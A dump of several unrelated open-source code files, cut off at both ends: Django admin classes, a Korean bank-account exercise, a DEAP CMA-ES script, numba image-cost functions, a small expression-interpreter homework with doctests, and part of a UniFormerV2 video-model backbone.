'is_sub_menu', 'num_of_items')\n    search_fields = ('name', 'link')\n    list_select_related = True\n\n    fieldsets = (\n        (capfirst(_('about')), {\n            'fields': ('name',)\n        }),\n        (capfirst(_('link')), {\n            'fields': ('url', 'page'),\n        })\n    )\n\n    inlines = [\n        MenuItemInline\n    ]\n\n    def get_queryset(self, request):\n        return Menu.objects.all()\n\n    def is_sub_menu(self, obj):\n        return obj.menu is not None\n    is_sub_menu.boolean = True\n    is_sub_menu.short_description = capfirst(_('is sub menu'))\n\n    def num_of_items(self, obj):\n        return obj.items.count()\n    num_of_items.short_description = capfirst(_('number of items'))\n\n\n@admin.register(Redirect)\nclass RedirectModelAdmin(admin.ModelAdmin):\n    list_display = ('from_path', 'link', 'is_internal_page_link', 'page_name')\n    search_fields = ('from_path', 'link')\n    #list_select_related = True\n\n    fieldsets = (\n        (capfirst(_('from')), {\n            'fields': ('from_path',)\n        }),\n        (capfirst(_('to')), {\n            'fields': ('url', 'page'),\n        })\n    )\n\n    def is_internal_page_link(self, obj):\n        return obj.page is not None\n    is_internal_page_link.boolean = True\n    is_internal_page_link.short_description = capfirst(_('internal link'))\n\n    def page_name(self, obj):\n        return obj.page.name if obj.page is not None else \"\"\n    page_name.short_description = capfirst(_('page name'))\n\n\n@admin.register(SiteModel)\nclass SiteModelAdmin(admin.ModelAdmin):\n    fieldsets = (\n        (capfirst(_('URLs')), {\n            'fields': ('root_url', 'api_root_url')\n        }),\n        (capfirst(_('page tree')), {\n            'fields': ('root_page',),\n        }),\n        (capfirst(_('content')), {\n            'fields': ('banner_content', 'footer_content'),\n        })\n    )\n\n    def has_add_permission(self, request):\n        \"\"\"No one can add object\"\"\"\n        return False\n\n    def has_delete_permission(self, request, obj=None):\n        \"\"\"No one can remove object\"\"\"\n        return False\n\n@admin.register(News)\nclass NewsModelAdmin(admin.ModelAdmin):\n    list_display = ('slug', 'published', 'first_published_at', 'publish_time', 'unpublish_time','author')\n    search_fields = ('slug', 'url', 'author')\n    fieldsets = (\n        (None, {\n            'fields': ('name', 'url', 'slug', 'page_type')\n        }),\n        (capfirst(_('content')), {\n            'fields': ('content_sv', 'content_en')\n        }),\n        (capfirst(_('publication info')), {\n            'fields': ('first_published_at', 'publish_time', 'unpublish_time', 'author')\n        })\n    )\n    inlines = [\n        NewsDraftInline\n    ]","repo_name":"Fysiksektionen/Hemsida","sub_path":"server/website/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":4377,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"5929640202","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[3]:\n\n\nimport random\n\n\nclass Account:         # 클래스 변수 사용\n    # class variable\n    account_count = 0\n\n# 입출금 내역 기록되도록 하는 코드\n\n    def __init__(self, name, balance):       # self, name, balance 튜플 사용자 정의함수\n        self.deposit_count = 0\n        self.deposit_log = []\n        self.withdraw_log = []            # 입출금 내역을 기록하기 위해 리스트 생성\n\n        self.name = name\n        self.balance = balance\n        self.bank = \"SC은행\"\n\n        num1 = random.randint(0, 999)\n        num2 = random.randint(0, 99)\n        num3 = random.randint(0, 999999)\n\n        num1 = str(num1).zfill(3)  # 1 -> '1' -> '001'\n        num2 = str(num2).zfill(2)  # 1 -> '1' -> '01'\n        num3 = str(num3).zfill(6)  # 1 -> '1' -> '0000001'\n        self.account_number = num1 + '-' + num2 + '-' + num3  # 001-01-000001\n        Account.account_count += 1 # Account 클래스로부터 생성된 계좌 객체의 개수 저장\n\n    @classmethod\n    def get_account_num(cls):\n        print(cls.account_count)  # Account.account_count\n\n    def deposit(self, amount):          # 예금을 할 때\n        if amount >= 1:                 # 당연 금액은 1원 이상\n            self.deposit_log.append(amount)      # 입금 시 내역을 리스트로 저장\n            self.balance += amount\n\n            self.deposit_count += 1\n            if self.deposit_count % 5 == 0:         # 5, 10, 15\n                # 이자 지금\n                self.balance = (self.balance * 1.01)      # 1%의 이자\n\n\n    def withdraw(self, amount):\n        if self.balance > amount:\n            self.withdraw_log.append(amount)       # 출금 시 내역을 리스트로 저장\n            self.balance -= amount                # 출금 금액을 이전 잔액에서 제외시켜 현재 잔액을 생성\n\n    def display_info(self):                # Account 인스턴스에 저장된 정보를 출력하도록 하는 메서드 ( 따라서 입출금내역을 기록하는 코드를 생성하는 지금은 불필요)\n        print(\"은행이���: \", self.bank)\n        print(\"예금주: \", self.name)\n        print(\"계좌번호: \", self.account_number)\n        print(\"잔고: \", self.balance)\n\n# 출금, 입금 내역을 기록하는 함수 (반복문 사용)\n\n    def withdraw_history(self):\n        for amount in self.withdraw_log:       # 출금 금액을 가져와서 출금하도록 함\n            print(amount)\n\n# 인덱스를 만들고자 하면 가능\n\n    def deposit_history(self):\n        for amount in self.deposit_log:      # 입금 금액도 마찬가지로 amount 프린트\n            print(amount)\n\n\nk = Account(\"Kim\", 1000)            # 김씨가 천원을 넣음\nk.deposit(100)                       # 예금 100,200,300원\nk.deposit(200)\nk.deposit(300)\nk.deposit_history()                 # 메소드 호출\n# 100,200,300 출력 완료\n\nk.withdraw(100)        # 출금 100,200\nk.withdraw(200)\nk.withdraw_history()\n# 100,200 출력완료\n\n","repo_name":"wwg0607/MSE_Python","sub_path":"ex280.py","file_name":"ex280.py","file_ext":"py","file_size_in_byte":3037,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17875053334","text":"import array\nimport random\nimport sys\nsys.path.append(\"..\")\n\nfrom math import log\n\nfrom deap import base\nfrom deap import cma\nfrom deap import creator\nfrom deap import tools\nfrom deap.benchmarks.tools import bound\nfrom framework import main\n\ncreator.create(\"Fitness\", base.Fitness, weights=(1.0,))\ncreator.create(\"Individual\", array.array, typecode='d', fitness=creator.Fitness)\n\ndef uniform(lbounds, ubounds):\n    return [random.uniform(low, high) for low, high in zip(lbounds, ubounds)]\n\ndef checkBounds(lbounds, ubounds):\n    def decorator(func):\n        def wrappper(*args, **kargs):\n            pop = func(*args, **kargs)\n            for ind in pop:\n                for i in range(len(ind)):\n                    if ind[i] > ubounds[i]:\n                        ind[i] = ubounds[i]\n                    elif ind[i] < lbounds[i]:\n                        ind[i] = lbounds[i]\n            return pop\n        return wrappper\n    return decorator\n\ndef init(benchmark):\n    lbounds = tuple(benchmark.get_lbounds())\n    ubounds = tuple(benchmark.get_ubounds())\n    min_ = min(lbounds)\n    max_ = max(ubounds)\n\n    centroid = uniform(lbounds, ubounds)\n    sigma = 0.3 * (max_ - min_)\n    lambda_ = int(4 + 3 * log(benchmark.ndim))\n    strategy = cma.Strategy(centroid=centroid, sigma=sigma, lambda_=lambda_)\n\n    toolbox = base.Toolbox()\n    toolbox.register(\"generate\", strategy.generate, creator.Individual)\n    toolbox.register(\"update\", strategy.update)\n    toolbox.register(\"bounds\", checkBounds(lbounds, ubounds))\n    toolbox.decorate(\"generate\", toolbox.bounds)\n    return toolbox\n\nif __name__ == \"__main__\":\n\tmain(init)","repo_name":"marcioweck/PSSLib","sub_path":"benchmarks/niching-benchmark-cec2013/python/examples/algo_cmaes.py","file_name":"algo_cmaes.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27193450054","text":"import numpy as np\nfrom numba import jit\n\n@jit('i4(i4[:,:])', target='cpu', nopython=True)\ndef isSubmodular(A):\n    h, w = A.shape\n    n = 0\n    for i in range(0, h):\n        for j in range(0, h):\n            for k in range(0, h):\n                if (A[j,k] + A[i,i]) > (A[j,i] + A[i,k]):\n                    n += 1\n    return n\n\n@jit('i4(i4, i4, i4, i4)', target='cpu', nopython=True)\ndef in_bounds(y, x, h, w):\n    if (y >= 0) and (y < h) and (x >= 0) and (x < w):\n        return 1\n    else:\n        return 0\n\n@jit('void(f8[:,:,:], i2[:,:], i2[:,:], f8[:,:,:,:], i2, f8[:,:], f8[:,:], f8[:,:,:], f8[:,:,:], f8[:,:], f8[:,:], i4)', target='cpu', nopython=True)\ndef calculate_unary_costs(unary_cost_matrix, paths, single_path, all_costs, max_displacement, image_A, image_B, gradient_A, gradient_B, variance_A, variance_B, beta):\n    # single_path is an array large enough to hold any single path since no array creation is possible inside this function due to numba\n    h, w = image_A.shape\n    number_paths = paths.shape[0]\n    for y in range(0, h):\n        for x in range(0, w):\n            for path_number in range(0, number_paths):\n                path = paths[path_number, :]\n                pAy = y + path[0]\n                pAx = x + path[1]\n                pBy = y - path[2]\n                pBx = x - path[3]\n                if (in_bounds(pAy, pAx, h, w) == 1) and (in_bounds(pBy, pBx, h, w) == 1):\n                    unary_cost_matrix[y, x, path_number] = min(100000000000000000*(all_costs[pAy, pAx, pBy - pAy + max_displacement, pBx - pAx + max_displacement]), 10000000)\n                else:\n                    unary_cost_matrix[y, x, path_number] = 10000000\n\n@jit('void(i2[:,:], i4, f8[:,:])', target='cpu', nopython=True)\ndef calculate_pairwise_costs(all_paths, delta, smooth_costs):\n    number_paths = all_paths.shape[0]\n    for i in range(0, number_paths):\n        for j in range(0, i):\n            smooth_costs[i,j] = min(np.sqrt(np.power((all_paths[i,0] + all_paths[i,2]) - (all_paths[j,0] + all_paths[j,2]),2) + np.power((all_paths[i,1] + all_paths[i,3]) - (all_paths[j,1] + all_paths[j,3]),2)), delta)\n            smooth_costs[j,i] = smooth_costs[i,j]","repo_name":"tworhythm/moving-gradients","sub_path":"gradients.py","file_name":"gradients.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"73169474001","text":"############################################################\n# HOMEWORK 2\n#\n# Team members: Duncan Hall, Griffin\n#\n# Emails:\n#   duncan.hall@students.olin.edu\n#   griffin.tschurwald@students.olin.edu\n#\n# Remarks:\n#\n\n\n#\n# Expressions\n#\n\nclass Exp (object):\n    pass\n\n\n\nclass EInteger (Exp):\n    # Integer literal\n\n    def __init__ (self,i):\n        self._integer = i\n\n    def __str__ (self):\n        return \"EInteger({})\".format(self._integer)\n\n    def eval (self,prim_dict,fun_dict):\n        return VInteger(self._integer)\n\n    def substitute (self,id,new_e):\n        return self\n\n\nclass EBoolean (Exp):\n    # Boolean literal\n\n    def __init__ (self,b):\n        self._boolean = b\n\n    def __str__ (self):\n        return \"EBoolean({})\".format(self._boolean)\n\n    def eval (self,prim_dict,fun_dict):\n        return VBoolean(self._boolean)\n\n    def substitute (self,id,new_e):\n        return self\n\nclass ECall (Exp):\n    \"\"\"\n\n    >>> ECall(\"+1\", [EInteger(100)]).eval(INITIAL_PRIM_DICT,FUN_DICT).value\n    101\n    >>> ECall(\"+1\", [EPrimCall(\"+\",[EInteger(100),EInteger(200)])]).eval(INITIAL_PRIM_DICT,FUN_DICT).value\n    301\n    >>> ECall(\"+1\", [ECall(\"+1\", [EInteger(100)])]).eval(INITIAL_PRIM_DICT,FUN_DICT).value\n    102\n    >>> ECall(\"=\",[EInteger(1),EInteger(2)]).eval(INITIAL_PRIM_DICT,FUN_DICT).value\n    False\n    >>> ECall(\"=\",[EInteger(1),EInteger(1)]).eval(INITIAL_PRIM_DICT,FUN_DICT).value\n    True\n    >>> ECall(\"sum_from_to\",[EInteger(0),EInteger(10)]).eval(INITIAL_PRIM_DICT,FUN_DICT).value\n    55\n    \"\"\"\n\n    def __init__(self, name, es):\n        self._name = name\n        self._exps = es\n\n    def __str__ (self):\n        return \"ECall({},[{}])\".format(self._name,\",\".join([ str(e) for e in self._exps]))\n\n    def eval (self,prim_dict, fun_dict):\n        vs = [ e.eval(prim_dict,fun_dict) for e in self._exps ]\n        if self._name in prim_dict:\n            return apply(prim_dict[self._name],vs)\n        elif self._name in fun_dict:\n            # \n            return ELet(\n                [\n                    (fun_dict[self._name][\"params\"][i], self._exps[i])\n                    for i in range(len(self._exps))\n                ],\n                fun_dict[self._name][\"body\"]).eval(prim_dict, fun_dict)\n\n            apply(fun_dict[self._name],vs)\n        else:\n            raise Exception(\"function {} not defined\".format(self._name))\n\n    def substitute (self,id,new_e):\n        new_es = [ e.substitute(id,new_e) for e in self._exps]\n        return ECall(self._name,new_es)\n\n\nclass EPrimCall (Exp):\n\n    def __init__ (self,name,es):\n        self._name = name\n        self._exps = es\n\n    def __str__ (self):\n        return \"EPrimCall({},[{}])\".format(self._name,\",\".join([ str(e) for e in self._exps]))\n\n    def eval (self,prim_dict,fun_dict):\n        vs = [ e.eval(prim_dict,fun_dict) for e in self._exps ]\n        if self._name in prim_dict:\n            return apply(prim_dict[self._name],vs)\n        elif self._name in fun_dict:\n            return apply(fun_dict[self._name],vs)\n        else:\n            raise Exception(\"function {} not defined\".format(self._name))\n\n    def substitute (self,id,new_e):\n        new_es = [ e.substitute(id,new_e) for e in self._exps]\n        return EPrimCall(self._name,new_es)\n\n\nclass EIf (Exp):\n    # Conditional expression\n\n    def __init__ (self,e1,e2,e3):\n        self._cond = e1\n        self._then = e2\n        self._else = e3\n\n    def __str__ (self):\n        return \"EIf({},{},{})\".format(self._cond,self._then,self._else)\n\n    def eval (self,prim_dict,fun_dict):\n        v = self._cond.eval(prim_dict,fun_dict)\n        if v.type != \"boolean\":\n            raise Exception (\"Runtime error: condition not a Boolean\")\n        if v.value:\n            return self._then.eval(prim_dict,fun_dict)\n        else:\n            return self._else.eval(prim_dict,fun_dict)\n\n    def substitute (self,id,new_e):\n        return EIf(self._cond.substitute(id,new_e),\n                   self._then.substitute(id,new_e),\n                   self._else.substitute(id,new_e))\n\n\nclass ELet (Exp):\n    # local binding\n    \"\"\"\n    >>> ELet([(\"a\",EInteger(99))],EId(\"a\")).eval(INITIAL_PRIM_DICT).value\n    99\n    >>> ELet([(\"a\",EInteger(99)),(\"b\",EInteger(66))],EId(\"a\")).eval(INITIAL_PRIM_DICT).value\n    99\n    >>> ELet([(\"a\",EInteger(99)),(\"b\",EInteger(66))],EId(\"b\")).eval(INITIAL_PRIM_DICT).value\n    66\n    >>> ELet([(\"a\",EInteger(99))],ELet([(\"a\",EInteger(66)),(\"b\",EId(\"a\"))],EId(\"a\"))).eval(INITIAL_PRIM_DICT).value\n    66\n    >>> ELet([(\"a\",EInteger(99))],ELet([(\"a\",EInteger(66)),(\"b\",EId(\"a\"))],EId(\"b\"))).eval(INITIAL_PRIM_DICT).value\n    99\n    >>> ELet([(\"a\",EInteger(5)),(\"b\",EInteger(20))],ELet([(\"a\",EId(\"b\")),(\"b\",EId(\"a\"))],EPrimCall(\"-\",[EId(\"a\"),EId(\"b\")]))).eval(INITIAL_PRIM_DICT).value\n    15\n    \"\"\"\n\n    def __init__ (self, subs, e):\n        self._e = e # e2\n        self._ids = [sub[0] for sub in subs]\n        self._exps = [sub[1] for sub in subs] # e1\n\n    def __str__ (self):\n        return \"ELet({},{},{})\".format(self._id.__str__(),self._e1.__str__(),self._e2.__str__())\n\n    def eval (self,prim_dict,fun_dict):\n        for i, id in enumerate(self._ids):\n            self._e = self._e.substitute(id,self._exps[i])\n        return self._e.eval(prim_dict,fun_dict)\n\n    def substitute (self,id,new_e):\n        if id in self._ids:  \n            return ELet(\n                    [(self._ids[i], self._exps[i].substitute(id, new_e))\n                        for i in range(len(self._ids))\n                    ],\n                    self._e\n                   )\n            # return ELet(self._id,\n                        # self._e1.substitute(id,new_e),\n                        # self._e2)\n\n        return ELet(\n                [(self._ids[i], self._exps[i].substitute(id, new_e))\n                    for i in range(len(self._ids))\n                ],\n                self._e.substitute(id, new_e)\n               )\n            \n        # return ELet(self._id,\n                    # self._e1.substitute(id,new_e),\n                    # self._e2.substitute(id,new_e))\n\nclass ELetS(Exp):\n    \"\"\"\n    >>> ELetS([(\"a\",EInteger(99))],EId(\"a\")).eval(INITIAL_PRIM_DICT).value\n    99\n    >>> ELetS([(\"a\",EInteger(99)),(\"b\",EInteger(66))],EId(\"a\")).eval(INITIAL_PRIM_DICT).value\n    99\n    >>> ELetS([(\"a\",EInteger(99)),(\"b\",EInteger(66))],EId(\"b\")).eval(INITIAL_PRIM_DICT).value\n    66\n    >>> ELet([(\"a\",EInteger(99))],ELetS([(\"a\",EInteger(66)),(\"b\",EId(\"a\"))],EId(\"a\"))).eval(INITIAL_PRIM_DICT).value\n    66\n    >>> ELet([(\"a\",EInteger(99))],ELetS([(\"a\",EInteger(66)),(\"b\",EId(\"a\"))],EId(\"b\"))).eval(INITIAL_PRIM_DICT).value\n    66\n    >>> ELetS([(\"a\",EInteger(5)),(\"b\",EInteger(20))],ELetS([(\"a\",EId(\"b\")),(\"b\",EId(\"a\"))],EPrimCall(\"-\",[EId(\"a\"),EId(\"b\")]))).eval(INITIAL_PRIM_DICT).value\n    0\n\"\"\"\n\n    def __init__ (self, subs, e):\n        self._ids = [subs[0][0]]\n        self._exps = [subs[0][1]]\n\n        if len(subs) > 1:\n            self._e = ELetS(subs[1:], e)\n        else:\n            self._e = e # e2\n\n    def __str__ (self):\n        return \"ELet({},{},{})\".format(self._id.__str__(),self._e1.__str__(),self._e2.__str__())\n\n    def eval (self,prim_dict,fun_dict):\n        for i, id in enumerate(self._ids):\n            self._e = self._e.substitute(id,self._exps[i])\n        return self._e.eval(prim_dict,fun_dict)\n\n    def substitute (self,id,new_e):\n        if id in self._ids:\n            return ELetS(\n                    [(self._ids[i], self._exps[i].substitute(id, new_e))\n                        for i in range(len(self._ids))\n                    ],\n                    self._e\n                   )\n\n        return ELetS(\n                [(self._ids[i], self._exps[i].substitute(id, new_e))\n                    for i in range(len(self._ids))\n                ],\n                self._e.substitute(id, new_e)\n               )\n\n\nclass ELetV (Exp):\n    \"\"\"\n    >>> ELetV(\"a\",EInteger(10),EId(\"a\")).eval(INITIAL_PRIM_DICT).value\n    10\n    >>> ELetV(\"a\",EInteger(10),ELetV(\"b\",EInteger(20),EId(\"a\"))).eval(INITIAL_PRIM_DICT).value\n    10\n    >>> ELetV(\"a\",EInteger(10), ELetV(\"a\",EInteger(20),EId(\"a\"))).eval(INITIAL_PRIM_DICT).value\n    20\n    >>> ELetV(\"a\",EPrimCall(\"+\",[EInteger(10),EInteger(20)]),ELetV(\"b\",EInteger(20),EId(\"a\"))).eval(INITIAL_PRIM_DICT).value\n    30\n    >>> ELetV(\"a\",EPrimCall(\"+\",[EInteger(10),EInteger(20)]),ELetV(\"b\",EInteger(20),EPrimCall(\"*\",[EId(\"a\"),EId(\"a\")]))).eval(INITIAL_PRIM_DICT).value\n    900\n    \"\"\"\n    def __init__ (self, id, e1, e2):\n        self._e = e2 # e2\n        # lazy\n        self._ids = [id] # [sub[0] for sub in subs]\n        self._exps = [e1] #[sub[1] for sub in subs] # e1\n\n    def __str__ (self):\n        return \"ELet({},{},{})\".format(self._id.__str__(),self._e1.__str__(),self._e2.__str__())\n\n    def eval (self,prim_dict,fun_dict):\n        for i, id in enumerate(self._ids):\n            self._e = self._e.substitute(id, EInteger(self._exps[i].eval(prim_dict).value))\n        return self._e.eval(prim_dict,fun_dict)\n\n    def substitute (self,id,new_e):\n        if id in self._ids:  \n            return ELet(\n                    [(self._ids[i], self._exps[i].substitute(id, new_e))\n                        for i in range(len(self._ids))\n                    ],\n                    self._e\n                   )\n            # return ELet(self._id,\n                        # self._e1.substitute(id,new_e),\n                        # self._e2)\n\n        return ELet(\n                [(self._ids[i], self._exps[i].substitute(id, new_e))\n                    for i in range(len(self._ids))\n                ],\n                self._e.substitute(id, new_e)\n               )\n\n\nclass EId (Exp):\n    # identifier\n\n    def __init__ (self,id):\n        self._id = id\n\n    def __str__ (self):\n        return \"EId({})\".format(self._id)\n\n    def eval (self,prim_dict,fun_dict):\n        raise Exception(\"Runtime error: unknown identifier {}\".format(self._id))\n\n    def substitute (self,id,new_e):\n        if id == self._id:\n            return new_e\n        return self\n\n\n    \n#\n# Values\n#\n\nclass Value (object):\n    pass\n\n\nclass VInteger (Value):\n    # Value representation of integers\n    def __init__ (self,i):\n        self.value = i\n        self.type = \"integer\"\n\nclass VBoolean (Value):\n    # Value representation of Booleans\n    def __init__ (self,b):\n        self.value = b\n        self.type = \"boolean\"\n\n\n\n\n\n# Primitive operations\n\ndef oper_plus (v1,v2): \n    if v1.type == \"integer\" and v2.type == \"integer\":\n        return VInteger(v1.value + v2.value)\n    raise Exception (\"Runtime error: trying to add non-numbers\")\n\ndef oper_minus (v1,v2):\n    if v1.type == \"integer\" and v2.type == \"integer\":\n        return VInteger(v1.value - v2.value)\n    raise Exception (\"Runtime error: trying to add non-numbers\")\n\ndef oper_times (v1,v2):\n    if v1.type == \"integer\" and v2.type == \"integer\":\n        return VInteger(v1.value * v2.value)\n    raise Exception (\"Runtime error: trying to add non-numbers\")\ndef oper_zero (v1):\n    if v1.type == \"integer\":\n        return VBoolean(v1.value==0)\n    raise Exception (\"Runtime error: type error in zero?\")\n\n# Initial primitives dictionary\n\nINITIAL_PRIM_DICT = {\n    \"+\": oper_plus,\n    \"*\": oper_times,\n    \"-\": oper_minus,\n    \"zero?\": oper_zero\n}\n\nFUN_DICT = {\n      \"square\": {\"params\":[\"x\"],\n                 \"body\":EPrimCall(\"*\",[EId(\"x\"),EId(\"x\")])},\n      \"=\": {\"params\":[\"x\",\"y\"],\n            \"body\":EPrimCall(\"zero?\",[EPrimCall(\"-\",[EId(\"x\"),EId(\"y\")])])},\n      \"+1\": {\"params\":[\"x\"],\n             \"body\":EPrimCall(\"+\",[EId(\"x\"),EInteger(1)])},\n      \"sum_from_to\": {\"params\":[\"s\",\"e\"],\n                      \"body\":EIf(ECall(\"=\",[EId(\"s\"),EId(\"e\")]),\n                                 EId(\"s\"),\n                                 EPrimCall(\"+\",[EId(\"s\"),\n                                                ECall(\"sum_from_to\",[ECall(\"+1\",[EId(\"s\")]),\n                                                                     EId(\"e\")])]))}\n     }\n\n\n# for testing file\nif __name__ == \"__main__\":\n    import doctest\n    doctest.run_docstring_examples(ECall, globals(), verbose=True)\n","repo_name":"DuncanDHall/PL2016","sub_path":"homework2.py","file_name":"homework2.py","file_ext":"py","file_size_in_byte":12024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20670442156","text":"class Documento:\n    def __init__(self, id_tipo_documento, id_cliente, numero_documento,\n                 extra_field1, extra_field2, extra_field3,\n                 extra_field4, path, file_ok):\n        self.id_tipo_documento = id_tipo_documento\n        self.id_cliente = id_cliente\n        self.numero_documento = numero_documento\n        self.extra_field1 = extra_field1\n        self.extra_field2 = extra_field2\n        self.extra_field3 = extra_field3\n        self.extra_field4 = extra_field4\n        self.path = path\n        self.file_ok = file_ok\n","repo_name":"renatohkuramoto/appSystemATT","sub_path":"apiATT/system_ATT/api_ATT/entities/documento_entity.py","file_name":"documento_entity.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30514553572","text":"import os\nfrom collections import OrderedDict\nfrom typing import Dict, List, Optional, Union\n\nimport torch\nfrom mmcv.cnn.bricks import DropPath\nfrom mmengine.logging import MMLogger\nfrom mmengine.model import BaseModule, ModuleList\nfrom mmengine.runner.checkpoint import _load_checkpoint\nfrom torch import nn\n\nfrom mmaction.registry import MODELS\n\nlogger = MMLogger.get_current_instance()\n\nMODEL_PATH = 'https://download.openmmlab.com/mmaction/v1.0/recognition'\n_MODELS = {\n    'ViT-B/16':\n    os.path.join(MODEL_PATH, 'uniformerv2/clipVisualEncoder',\n                 'vit-base-p16-res224_clip-rgb_20221219-b8a5da86.pth'),\n    'ViT-L/14':\n    os.path.join(MODEL_PATH, 'uniformerv2/clipVisualEncoder',\n                 'vit-large-p14-res224_clip-rgb_20221219-9de7543e.pth'),\n    'ViT-L/14_336':\n    os.path.join(MODEL_PATH, 'uniformerv2/clipVisualEncoder',\n                 'vit-large-p14-res336_clip-rgb_20221219-d370f9e5.pth'),\n}\n\n\nclass QuickGELU(BaseModule):\n    \"\"\"Quick GELU function. Forked from https://github.com/openai/CLIP/blob/d50\n    d76daa670286dd6cacf3bcd80b5e4823fc8e1/clip/model.py.\n\n    Args:\n        x (torch.Tensor): The input features of shape :math:`(B, N, C)`.\n    \"\"\"\n\n    def forward(self, x: torch.Tensor) -> torch.Tensor:\n        return x * torch.sigmoid(1.702 * x)\n\n\nclass Local_MHRA(BaseModule):\n    \"\"\"Local MHRA.\n\n    Args:\n        d_model (int): Number of input channels.\n        dw_reduction (float): Downsample ratio of input channels.\n            Defaults to 1.5.\n        pos_kernel_size (int): Kernel size of local MHRA.\n            Defaults to 3.\n        init_cfg (dict, optional): The config of weight initialization.\n            Defaults to None.\n    \"\"\"\n\n    def __init__(\n        self,\n        d_model: int,\n        dw_reduction: float = 1.5,\n        pos_kernel_size: int = 3,\n        init_cfg: Optional[dict] = None,\n    ) -> None:\n        super().__init__(init_cfg=init_cfg)\n\n        padding = pos_kernel_size // 2\n        re_d_model = int(d_model // dw_reduction)\n        self.pos_embed = nn.Sequential(\n            nn.BatchNorm3d(d_model),\n            nn.Conv3d(d_model, re_d_model, kernel_size=1, stride=1, padding=0),\n            nn.Conv3d(\n                re_d_model,\n                re_d_model,\n                kernel_size=(pos_kernel_size, 1, 1),\n                stride=(1, 1, 1),\n                padding=(padding, 0, 0),\n                groups=re_d_model),\n            nn.Conv3d(re_d_model, d_model, kernel_size=1, stride=1, padding=0),\n        )\n\n        # init zero\n        logger.info('Init zero for Conv in pos_emb')\n        nn.init.constant_(self.pos_embed[3].weight, 0)\n        nn.init.constant_(self.pos_embed[3].bias, 0)\n\n    def forward(self, x: torch.Tensor) -> torch.Tensor:\n        return self.pos_embed(x)\n\n\nclass ResidualAttentionBlock(BaseModule):\n    \"\"\"Local UniBlock.\n\n    Args:\n        d_model (int): Number of input channels.\n        n_head (int): Number of attention head.\n        drop_path (float): Stochastic depth rate.\n            Defaults to 0.0.\n        dw_reduction (float): Downsample ratio of input channels.\n            Defaults to 1.5.\n        no_lmhra (bool): Whether removing local MHRA.\n            Defaults to False.\n        double_lmhra (bool): Whether using double local MHRA.\n            Defaults to True.\n        init_cfg (dict, optional): The config of weight initialization.\n            Defaults to None.\n    \"\"\"\n\n    def __init__(\n        self,\n        d_model: int,\n        n_head: int,\n        drop_path: float = 0.0,\n        dw_reduction: float = 1.5,\n        no_lmhra: bool = False,\n        double_lmhra: bool = True,\n        init_cfg: Optional[dict] = None,\n    ) -> None:\n        super().__init__(init_cfg=init_cfg)\n\n        self.n_head = n_head\n        self.drop_path = DropPath(\n            drop_path) if drop_path > 0. else nn.Identity()\n        logger.info(f'Drop path rate: {drop_path}')\n\n        self.no_lmhra = no_lmhra\n        self.double_lmhra = double_lmhra\n        logger.info(f'No L_MHRA: {no_lmhra}')\n        logger.info(f'Double L_MHRA: {double_lmhra}')\n        if not no_lmhra:\n            self.lmhra1 = Local_MHRA(d_model, dw_reduction=dw_reduction)\n            if double_lmhra:\n                self.lmhra2 = Local_MHRA(d_model, dw_reduction=dw_reduction)\n\n        # spatial\n        self.attn = nn.MultiheadAttention(d_model, n_head)\n        self.ln_1 = nn.LayerNorm(d_model)\n        self.mlp = nn.Sequential(\n            OrderedDict([('c_fc', nn.Linear(d_model, d_model * 4)),\n                         ('gelu', QuickGELU()),\n                         ('c_proj', nn.Linear(d_model * 4, d_model))]))\n        self.ln_2 = nn.LayerNorm(d_model)\n\n    def attention(self, x: torch.Tensor) -> torch.Tensor:\n        return self.attn(x, x, x, need_weights=False, attn_mask=None)[0]\n\n    def forward(self, x: torch.Tensor, T: int = 8) -> torch.Tensor:\n        # x: 1+HW, NT, C\n        if not self.no_lmhra:\n            # Local MHRA\n            tmp_x = x[1:, :, :]\n            L, NT, C = tmp_x.shape\n            N = NT // T\n            H = W = int(L**0.5)\n            tmp_x = tmp_x.view(H, W, N, T, C).permute(2, 4, 3, 0,\n                                                      1).contiguous()\n            tmp_x = tmp_x + self.drop_path(self.lmhra1(tmp_x))\n            tmp_x = tmp_x.view(N, C, T,\n                               L).permute(3, 0, 2,\n                                          1).contiguous().view(L, NT, C)\n            x = torch.cat([x[:1, :, :], tmp_x], dim=0)\n        # MHSA\n        x = x + self.drop_path(self.attention(self.ln_1(x)))\n        # Local MHRA\n        if not self.no_lmhra and self.double_lmhra:\n            tmp_x = x[1:, :, :]\n            tmp_x = tmp_x.view(H, W, N, T, C).permute(2, 4, 3, 0,\n                                                      1).contiguous()\n            tmp_x = tmp_x + self.drop_path(self.lmhra2(tmp_x))\n            tmp_x = tmp_x.view(N, C, T,\n                               L).permute(3, 0, 2,\n                                          1).contiguous().view(L, NT, C)\n            x = torch.cat([x[:1, :, :], tmp_x], dim=0)\n        # FFN\n        x = x + self.drop_path(self.mlp(self.ln_2(x)))\n        return x\n\n\nclass Extractor(BaseModule):\n    \"\"\"Global UniBlock.\n\n    Args:\n        d_model (int): Number of input channels.\n        n_head (int): Number of attention head.\n        mlp_factor (float): Ratio of hidden dimensions in MLP layers.\n            Defaults to 4.0.\n        drop_out (float): Stochastic dropout rate.\n            Defaults to 0.0.\n        drop_path (float): Stochastic depth rate.\n            Defaults to 0.0.\n        init_cfg (dict, optional): The config of weight initialization.\n            Defaults to None.\n    \"\"\"\n\n    def __init__(\n        self,\n        d_model: int,\n        n_head: int,\n        mlp_factor: float = 4.0,\n        dropout: float = 0.0,\n        drop_path: float = 0.0,\n        init_cfg: Optional[dict] = None,\n    ) -> None:\n        super().__init__(init_cfg=init_cfg)\n\n        self.drop_path = DropPath(\n            drop_path) if drop_path > 0. else nn.Identity()\n        logger.info(f'Drop path rate: {drop_path}')\n        self.attn = nn.MultiheadAttention(d_model, n_head)\n        self.ln_1 = nn.LayerNorm(d_model)\n        d_mlp = round(mlp_factor * d_model)\n        self.mlp = nn.Sequential(\n            